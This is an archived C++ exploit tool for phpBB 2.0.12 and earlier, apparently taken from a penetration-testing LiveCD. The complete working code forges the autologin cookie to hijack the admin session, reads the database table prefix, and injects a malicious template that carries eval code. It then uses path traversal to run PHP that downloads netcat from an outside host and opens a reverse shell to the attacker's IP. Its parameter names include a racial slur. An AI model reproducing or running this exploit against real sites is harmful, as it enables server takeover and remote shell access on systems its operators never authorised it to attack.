home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpbb / phpbbexp.cpp < prev    next >
C/C++ Source or Header  |  2005-03-16  |  14KB  |  439 lines

  1. /*
  2. coded by overdose phpbb <= 2.0.12
  3. slythers@gmail.com
  4. C:\source\phpbbexp>bcc32 -c serv.cpp
  5. Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
  6. serv.cpp:
  7. Warning W8060 serv.cpp 77: Possibly incorrect assignment in function serveur::co
  8. nnectsocket(char *,unsigned short)
  9.  
  10. C:\source\phpbbexp>bcc32 phpbbexp.cpp serv.obj
  11. Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
  12. phpbbexp.cpp:
  13. Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland
  14.  
  15. C:\source\phpbbexp>
  16.  
  17. je cherche un job au passage :>
  18. */
  19. #include <iostream.h>
  20. #include <winsock.h>
  21. #include "serv.h"
  22.  
  23. #define SHELL "$a=fopen(\"http://img58.exs.cx/img58/1584/nc4hk.swf\",\"r\");
  24. $b=\"\";while(!feof($a)){$b%20.=%20fread($a,200000);};fclose($a);
  25. $a=fopen(\"/tmp/.sess_\",\"w\");fwrite($a,$b);fclose($a);
  26. chmod(\"/tmp/.sess_\",0777);system(\"/tmp/.sess_%20\".$_REQUEST[niggaip]
  27. .\"%20\".$_REQUEST[niggaport].\"%20-e%20/bin/sh\");"
  28.  
  29. #define HTTP_PORT 80
  30. #define DEFAULT_COOKIE "phpbb2mysql"
  31. #define SIGNATURE_SESSID "Set-Cookie: "
  32. #define BOUNDARY "----------g7pEbdXsWGPB7wRFGrqA1g"
  33. #define UP_FILE "------------g7pEbdXsWGPB7wRFGrqA1g\nContent-Disposition: 
  34. form-data; name=\"restore_start\"\n\npetass\n------------g7pEbdXsWGPB7wRFGrqA1g\
  35. nContent-Disposition: form-data; name=\"perform\"\n\nrestore\n------------g7pEbd
  36. XsWGPB7wRFGrqA1g\nContent-Disposition: form-data; name=\"backup_file\"; 
  37. filename=\"phpbb_db_backup.sql\"\nContent-Type: text/sql\n\n"
  38. #define UP_FILE_END "\n------------g7pEbdXsWGPB7wRFGrqA1g--\n"
  39. #define EXP_TEMPLATES "mode=export&edit=Envoyer&export_template="
  40. #define SIGNATURE_TABLE_NAME "DROP TABLE IF EXISTS "
  41. #define SIGNATURE_TABLE_NAME_END "_config;"
  42.  
  43. #define SQL_TEMPLATES "DROP TABLE IF EXISTS "
  44. #define SQL_TEMPLATES_2 "_themes;\nCREATE TABLE "
  45. char *sql_templates_3 ="_themes("
  46. "themes_id mediumint(8) unsigned NOT NULL auto_increment,"
  47. "template_name varchar(150) NOT NULL,"
  48. "style_name varchar(30) NOT NULL,"
  49. "head_stylesheet varchar(100),"
  50. "body_background varchar(100),"
  51. "body_bgcolor varchar(6),"
  52. "body_text varchar(6),"
  53. "body_link varchar(6),"
  54. "body_vlink varchar(6),"
  55. "body_alink varchar(6),"
  56. "body_hlink varchar(6),"
  57. "tr_color1 varchar(6),"
  58. "tr_color2 varchar(6),"
  59. "tr_color3 varchar(6),"
  60. "tr_class1 varchar(25),"
  61. "tr_class2 varchar(25),"
  62. "tr_class3 varchar(25),"
  63. "th_color1 varchar(6),"
  64. "th_color2 varchar(6),"
  65. "th_color3 varchar(6),"
  66. "th_class1 varchar(25),"
  67. "th_class2 varchar(25),"
  68. "th_class3 varchar(25),"
  69. "td_color1 varchar(6),"
  70. "td_color2 varchar(6),"
  71. "td_color3 varchar(6),"
  72. "td_class1 varchar(25),"
  73. "td_class2 varchar(25),"
  74. "td_class3 varchar(25),"
  75. "fontface1 varchar(50),"
  76. "fontface2 varchar(50),"
  77. "fontface3 varchar(50),"
  78. "fontsize1 tinyint(4),"
  79. "fontsize2 tinyint(4),"
  80. "fontsize3 tinyint(4),"
  81. "fontcolor1 varchar(6),"
  82. "fontcolor2 varchar(6),"
  83. "fontcolor3 varchar(6),"
  84. "span_class1 varchar(25),"
  85. "span_class2 varchar(25),"
  86. "span_class3 varchar(25),"
  87. "img_size_poll smallint(5) unsigned,"
  88. "img_size_privmsg smallint(5) unsigned,"
  89. "PRIMARY KEY (themes_id)"
  90. ");";
  91.  
  92. #define SQL_FAKE_TEMPLATES "\nINSERT INTO "
  93. #define SQL_FAKE_TEMPLATES_2 "_themes (themes_id, template_name, style_name, 
  94. head_stylesheet, body_background, body_bgcolor, body_text, body_link, body_vlink, 
  95. body_alink, body_hlink, tr_color1, tr_color2, tr_color3, tr_class1, tr_class2, 
  96. tr_class3, th_color1, th_color2, th_color3, th_class1, th_class2, th_class3, 
  97. td_color1, td_color2, td_color3, td_class1, td_class2, td_class3, fontface1, 
  98. fontface2, fontface3, fontsize1, fontsize2, fontsize3, fontcolor1, fontcolor2, 
  99. fontcolor3, span_class1, span_class2, span_class3, img_size_poll, img_size_privmsg) 
  100. VALUES(\'2\', \'"
  101. //template_name varchar(30) NOT NULL,
  102. #define FAKE_TEMPLATES_NAMES "aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();
  103. // /../../../../../../../../../../../../../../../../../../../tmp"
  104. #define SQL_FAKE_TEMPLATES_3 "\', \'FI Black\', \'fiblack.css\', \'\', \'\', \'\',
  105.  \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\',
  106.  \'\', \'\', \'\', \'\', \'\', \'row1\', \'row2\', \'\', \'\', \'\', \'\', \'0\', 
  107. \'0\', \'0\', \'\', \'006699\', \'ffa34f\', \'cc\', \'bb\', \'a\', \'0\', \'0\');"
  108. #define SQL_FAKE_TEMPLATES_4 "_themes (themes_id, template_name, style_name, 
  109. head_stylesheet, body_background, body_bgcolor, body_text, body_link, body_vlink, 
  110. body_alink, body_hlink, tr_color1, tr_color2, tr_color3, tr_class1, tr_class2, 
  111. tr_class3, th_color1, th_color2, th_color3, th_class1, th_class2, th_class3, 
  112. td_color1, td_color2, td_color3, td_class1, td_class2, td_class3, fontface1, fontface2, 
  113. fontface3, fontsize1, fontsize2, fontsize3, fontcolor1, fontcolor2, fontcolor3, 
  114. span_class1, span_class2, span_class3, img_size_poll, img_size_privmsg) VALUES
  115. (\'1\', \'subSilver\', \'subSilver\', \'subSilver.css\',\'\', \'E5E5E5\', \'000000\', 
  116. \'006699\', \'5493B4\', \'\', \'DD6900\', \'EFEFEF\', \'DEE3E7\', \'D1D7DC\', \'\', 
  117. \'\', \'\', \'98AAB1\', \'006699\', \'FFFFFF\', \'cellpic1.gif\', \'cellpic3.gif\', 
  118. \'cellpic2.jpg\', \'FAFAFA\', \'FFFFFF\', \'\', \'row1\', \'row2\', \'\', \'Verdana, 
  119. Arial, Helvetica, sans-serif\', \'Trebuchet MS\', \'Courier, \\\'Courier New\\\', 
  120. sans-serif\', \'10\', \'11\', \'12\', \'444444\', \'006600\', \'FFA34F\', \'\', 
  121. \'\', \'\', NULL, NULL);"
  122. #define SQL_FAKE_TEMPLATES_5 "\nUPDATE "
  123. #define SQL_FAKE_TEMPLATES_6 "_config set config_value=\"1\" where config_name=\"default_style\";"
  124.  
  125. struct url{
  126. char *dns;
  127. char *uri;
  128. unsigned short port;
  129. };
  130.  
  131. struct url parseurl(char *of);
  132. char * intostr(int erf);
  133. void help();
  134.  
  135. int main(int argc,char *argv[])
  136. {
  137. char buff[1024];
  138. char sid[33];
  139. char oct;
  140. char *cookiename;
  141. char *ptr;
  142. char *tablename = 0x00;
  143. char *phpcode = SHELL;
  144. bool flag;
  145. unsigned int longbeach;
  146. serveur http;
  147. struct url victim;
  148. WSAData wsadata;
  149. if(WSAStartup(MAKEWORD(2, 0),&wsadata) != 0)
  150. return 1;
  151. if(argc < 4)
  152. help();
  153. cookiename= DEFAULT_COOKIE;
  154. sid[0] = '\0';
  155. victim = parseurl(argv[1]);
  156. //detection du nom du cookie
  157. http.createsocket();
  158. if(!http.connectsocket(victim.dns,victim.port))
  159. return 0;
  160. http << "GET ";
  161. http << victim.uri;
  162. http << " HTTP/1.1\nHost: ";
  163. http << victim.dns;
  164. http << "\nReferer: ";
  165. http << argv[1];
  166. http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\n
  167. Connection: close\n\n";
  168. do{
  169. if(!http.getline(buff,1023))
  170. buff[0] = 0x00;
  171. if(!strncmp(buff,SIGNATURE_SESSID,sizeof(SIGNATURE_SESSID)-1))
  172. {
  173. ptr = buff + sizeof(SIGNATURE_SESSID)-1;
  174. for(ptr; *ptr && (*ptr != '=');ptr++);
  175. *ptr= '\0';
  176. ptr -= 4;
  177. if(!strncmp(ptr,"_sid",4))
  178. {
  179. *ptr = '\0';
  180. ptr = buff + sizeof(SIGNATURE_SESSID)-1;
  181. cookiename = new char[strlen(ptr)+1];
  182. strcpy(cookiename,ptr);
  183. cout << "_ nom du cookie recuperer : "<<cookiename<<endl;
  184. buff[0] = '\0';
  185. };
  186. };
  187. }while(buff[0]);
  188. http.closesock();
  189. http.createsocket();
  190. if(!http.connectsocket(victim.dns,victim.port))
  191. return 0;
  192. //faille cookie uid
  193. http << "GET ";
  194. http << victim.uri;
  195. http << " HTTP/1.1\nHost: ";
  196. http << victim.dns;
  197. http << "\nCookie: ";
  198. http << cookiename;
  199. http << "_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22
  200. userid%22%3Bs%3A1%3A%222%22%3B%7D; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";
  201. http << victim.dns;
  202. http << "\nReferer: ";
  203. http << argv[1];
  204. http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
  205. do{
  206. if(!http.getline(buff,1023))
  207. buff[0] = 0x00;
  208. if(!strncmp(buff,SIGNATURE_SESSID,sizeof(SIGNATURE_SESSID)-1))
  209. {
  210. ptr = buff + sizeof(SIGNATURE_SESSID)-1;
  211. if((!strncmp(ptr,cookiename,strlen(cookiename))) && (!strncmp(&ptr[strlen(cookiename)],"_sid=",sizeof("_sid=")-1)))
  212. {
  213. ptr += strlen(cookiename) + sizeof("_sid=")-1;
  214. strncpy(sid,ptr,32);
  215. sid[32] = '\0';
  216. }; 
  217. };
  218. }while(buff[0]);
  219. if(!sid[0])
  220. {
  221. cout << "_ recuperation de l'identifiant de session a echouer"<<endl;
  222. return 0;
  223. };
  224. cout << "_ SESSION ID recuper├⌐ ... "<<sid<<endl<<argv[1]<<"?sid="<<sid<<endl;
  225. http.closesock();
  226. //recuperation du nom de la table
  227. http.createsocket();
  228. if(!http.connectsocket(victim.dns,victim.port))
  229. return 0;
  230. cout <<"_ recuperation du nom de la table sql ... ";
  231. http << "GET ";
  232. http << victim.uri;
  233. http << "admin/admin_db_utilities.php?perform=backup&additional_tables=&backup_type=
  234. structure&drop=1&backupstart=1&gzipcompress=0&startdownload=1&sid=";
  235. http << sid;
  236. http << " HTTP/1.1\nHost: ";
  237. http << victim.dns;
  238. http << "\nReferer: ";
  239. http << argv[1];
  240. http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
  241. flag = 1;
  242. while(flag)
  243. {
  244. flag = http.getline(buff,1023);
  245. if(!strncmp(buff,SIGNATURE_TABLE_NAME,sizeof(SIGNATURE_TABLE_NAME)-1))
  246. {
  247. longbeach = strlen(buff);
  248. ptr = buff + longbeach - (sizeof(SIGNATURE_TABLE_NAME_END)-1);
  249. if(!strcmp(ptr,SIGNATURE_TABLE_NAME_END))
  250. {
  251. flag = 0;
  252. *ptr= '\0';
  253. ptr = buff + sizeof(SIGNATURE_TABLE_NAME) -1;
  254. tablename = new char[strlen(ptr)+1];
  255. strcpy(tablename,ptr);
  256. };
  257. };
  258. };
  259. http.closesock();
  260. if(!tablename)
  261. {
  262. cout <<"can\'t find"<<endl;
  263. return 0;
  264. };
  265. cout <<tablename << " OK"<<endl;
  266. cout << "_ Injection de la fake templates ...";
  267. http.createsocket();
  268. if(!http.connectsocket(victim.dns,victim.port))
  269. return 0;
  270. http << "POST ";
  271. http << victim.uri;
  272. http << "admin/admin_db_utilities.php?sid=";
  273. http << sid;
  274. http << " HTTP/1.1\nHost: ";
  275. http << victim.dns;
  276. http << "\nReferer: ";
  277. http << argv[1];
  278. http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close, TE\r\nTE: 
  279. deflate, chunked, identify, trailers\r\nCache-Control: no-cache\r\nContent-Type: multipart/form-data; 
  280. boundary=" BOUNDARY "\nContent-Length: ";
  281. http << intostr(strlen(sql_templates_3)+sizeof(SQL_TEMPLATES)-1+sizeof(SQL_TEMPLATES_2)-1+sizeof
  282. (SQL_FAKE_TEMPLATES)-1+strlen(tablename)+sizeof(SQL_FAKE_TEMPLATES_2)-1+sizeof
  283. (FAKE_TEMPLATES_NAMES)-1+sizeof(SQL_FAKE_TEMPLATES_3)-1+sizeof(SQL_FAKE_TEMPLATES)-1+
  284. strlen(tablename)+sizeof(SQL_FAKE_TEMPLATES_4)-1+sizeof(SQL_FAKE_TEMPLATES_5)-1+
  285. strlen(tablename)+sizeof(SQL_FAKE_TEMPLATES_6)-1+sizeof(UP_FILE_END)-1+sizeof(UP_FILE));
  286. http << "\n\n" UP_FILE SQL_TEMPLATES;
  287. http << tablename;
  288. http << SQL_TEMPLATES_2;
  289. http << tablename;
  290. http << sql_templates_3;
  291. http << SQL_FAKE_TEMPLATES;
  292. http << tablename;
  293. http << SQL_FAKE_TEMPLATES_4 SQL_FAKE_TEMPLATES_5;
  294. http << tablename;
  295. http << SQL_FAKE_TEMPLATES_6 SQL_FAKE_TEMPLATES;
  296. http << tablename;
  297. http << SQL_FAKE_TEMPLATES_2 FAKE_TEMPLATES_NAMES SQL_FAKE_TEMPLATES_3 UP_FILE_END ;
  298. while(http.getnb(&oct,sizeof(char)));
  299. cout <<"OK"<<endl;
  300. ptr = new char[sizeof(FAKE_TEMPLATES_NAMES)];
  301. strcpy(ptr,FAKE_TEMPLATES_NAMES);
  302. for(int cpt = 0; ptr[cpt]!= '\0';cpt++)
  303. {
  304. if(ptr[cpt] == ' ')
  305. ptr[cpt] = '+';
  306. };
  307. //creation de la page dans /tmp
  308. http.closesock();
  309. http.createsocket();
  310. if(!http.connectsocket(victim.dns,victim.port))
  311. return 0;
  312. http << "POST ";
  313. http << victim.uri;
  314. http << "admin/admin_styles.php?mode=export&sid=";
  315. http << sid;
  316. http << " HTTP/1.1\nHost: ";
  317. http << victim.dns;
  318. http << "\nReferer: ";
  319. http << argv[1];
  320. http << "admin/admin_styles.php?mode=export\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; 
  321. Windows NT 5.1)\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: ";
  322. http << intostr(strlen(ptr)+sizeof(EXP_TEMPLATES)-1);
  323. http << "\n\n";
  324. http << EXP_TEMPLATES;
  325. http << ptr;
  326. while(http.getnb(&oct,sizeof(char)));
  327. cout << "_ Fichier cr├⌐e"<<endl;
  328. //appelle de la page avec le code php
  329. http.closesock();
  330. http.createsocket();
  331. if(!http.connectsocket(victim.dns,victim.port))
  332. return 0;
  333. http << "GET ";
  334. http << victim.uri;
  335. http << "admin/admin_styles.php?mode=addnew&install_to=../../../../../../../../../../../../../../../../../../../tmp&sid=";
  336. http << sid;
  337. http << "&niggaip=";
  338. http << argv[2];
  339. http << "&niggaport=";
  340. http << argv[3];
  341. http << "&nigga=";
  342. http << phpcode;
  343. http << " HTTP/1.1\nHost: ";
  344. http << victim.dns;
  345. http << "\nReferer: ";
  346. http << argv[1];
  347. http << "\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
  348. while(http.getnb(&oct,sizeof(char)));
  349. cout << "_ Code execut├⌐"<<endl<<argv[1]<<"admin/admin_styles.php?mode=addnew&install_to
  350. =../../../../../../../../../../../../../../../../../../../tmp&nigga=phpinfo();&sid="<<sid<<endl;
  351. delete[] ptr;
  352. return 0;
  353. }
  354.  
  355. struct url parseurl(char *of)
  356. {
  357. struct url retour;
  358. unsigned int taille;
  359. char tmp;
  360. retour.dns = 0x00;
  361. retour.uri = 0x00;
  362. retour.port = HTTP_PORT ;
  363. while( *of && (*of != ':'))
  364. of++;
  365. if(*of && *(of+1) && *(of+2))
  366. {
  367. if((*(of+1) != '/') || (*(of+2) != '/'))
  368. return retour;
  369. of += 3;
  370. for(taille = 0; (of[taille] != '/') && (of[taille] != '\0') && (of[taille] != ':');taille++);
  371. retour.dns = new char [taille+1];
  372. memcpy(retour.dns,of,taille);
  373. retour.dns[taille] = '\0';
  374. of += taille;
  375. if(*of == ':')
  376. {
  377. of++;
  378. for(taille = 0; (of[taille] != '/') && (of[taille] != '\0');taille++);
  379. tmp = of[taille];
  380. of[taille] = '\0';
  381. if(taille)
  382. retour.port = atoi(of);
  383. of[taille] = tmp;
  384. of += taille;
  385. };
  386. if(!*of)
  387. {
  388. retour.uri = new char[2];
  389. strcpy(retour.uri,"/");
  390. }
  391. else
  392. {
  393. retour.uri = new char [strlen(of)+1];
  394. strcpy(retour.uri,of);
  395. };
  396. };
  397. return retour;
  398. }
  399.  
  400. char * intostr(int erf)
  401. {
  402. char *chaine;
  403. int puissance;
  404. int erf2;
  405. if( erf >= 0)
  406. {
  407. puissance =0;
  408. for(int kekette = 1;kekette<=erf;kekette = kekette*10)
  409. {
  410. puissance++;
  411. };
  412. if (puissance == 0)
  413. {
  414. puissance = 1;
  415. };
  416. chaine = new char[puissance+1];
  417. chaine[puissance] ='\0';
  418. for(int arf = puissance-1;arf >=0;arf--)
  419. {
  420. erf2 = erf % 10 ;
  421. chaine[arf] = '0' + erf2;
  422. erf = erf /10;
  423. };
  424. return chaine;
  425. }
  426. else
  427. return 0;
  428. }
  429.  
  430. void help()
  431. {
  432. cout << "phpbbexp.exe http://site.com/phpbb/ [backshell ip] [backshell port]"<<endl;
  433. cout << "coded by Malloc(0) Wicked Attitude"<<endl;
  434. cout << "phpbb <= 2.0.12 uid vuln + admin_styles.php exploit"<<endl;
  435. exit(0);
  436. }
  437.  
  438.  
  439.